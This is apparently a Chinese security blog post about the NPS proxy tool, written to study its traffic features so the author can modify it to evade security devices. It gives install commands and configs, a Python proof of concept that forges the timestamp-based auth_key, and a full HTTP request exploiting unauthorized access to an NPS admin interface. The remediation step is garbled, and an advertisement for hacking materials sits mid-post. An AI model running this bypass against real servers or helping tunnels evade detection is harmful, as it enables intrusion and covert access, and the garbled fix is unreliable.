前言

因為想要寫一個socks的流量演算法去繞過安全設備，所以這里對nps的流量特征總結一下，方便自己后期的魔改，

環境

ubuntu 16.04 vps server

windows server 2012R2 clinet

mkdir nps
cd nps
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
tar -zxvf linux_amd64_server.tar.gz
./nps install

cd /etc/nps/conf/
vim nps.conf

組態檔

#web
web_host=a.o.com
web_username=xxxx    //管理端用戶名
web_password=xxxxxx  //管理端密碼
web_port = xxxxx     //管理端埠
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
#web_base_url=/nps

##bridge
bridge_type=tcp   //客戶端連接協議tcp
bridge_port=xxxx  //客戶端連接埠
bridge_ip=0.0.0.0

bridge_port的默認埠默認為8024，這里不建議改為默認的，連接客戶端的時候可能會觸發安全設備規則

NPS未授權復現

POC

#encoding=utf-8
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
?
print("Index/Index?auth_key=%s&timestamp=%s" % (auth_key,int(now))

直接訪問

http://vps:port?payload

exp請求介面

POST /client/list HTTP/1.1
Host: vps:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://vps:port
Connection: close
Referer: http://vps:port/client/list
?
search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4&timestamp=1659948547

參考鏈接：

https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA

修復措施

vim /etc/nps/conf/nps.conf取消注釋auth_key,添加auth_crypt_key`注釋

auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN

修改為

auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN

目前最新版本的也存在改配置不當問題，這里需要修改配置，修復之后是無法通過未授權讀取內容資訊的，

【----幫助網安學習，以下所有學習資料免費領！加vx：yj009991，備注 “博客園” 獲取！】

　① 網安學習成長路徑思維導圖
　② 60+網安經典常用工具包
　③ 100+SRC漏洞分析報告
　④ 150+網安攻防實戰技術電子書
　⑤ 最權威CISSP 認證考試指南+題庫
　⑥ 超1800頁CTF實戰技巧手冊
　⑦ 最新網安大廠面試題合集（含答案）
　⑧ APP客戶端安全檢測指南（安卓+IOS）

socks流量分析

nps start

訪問http://vps:port/login

新增客戶端

這里用戶名和密碼隨意，這里是客戶端登錄的認證用戶名，在客戶端連接的時候是根據密鑰來實作的，

客戶端選擇windwos server 2012R2

修改客戶端組態檔

[common]
server_addr=vps:port
conn_type=tcp
vkey=xxxx
auto_reconnection=true
max_conn=1000
flow_limit=1000
rate_limit=1000
basic_username=11
basic_password=3
web_username=xxxx    
web_password=xxxxx
crypt=true
compress=true
#pprof_addr=0.0.0.0:9999
disconnect_timeout=60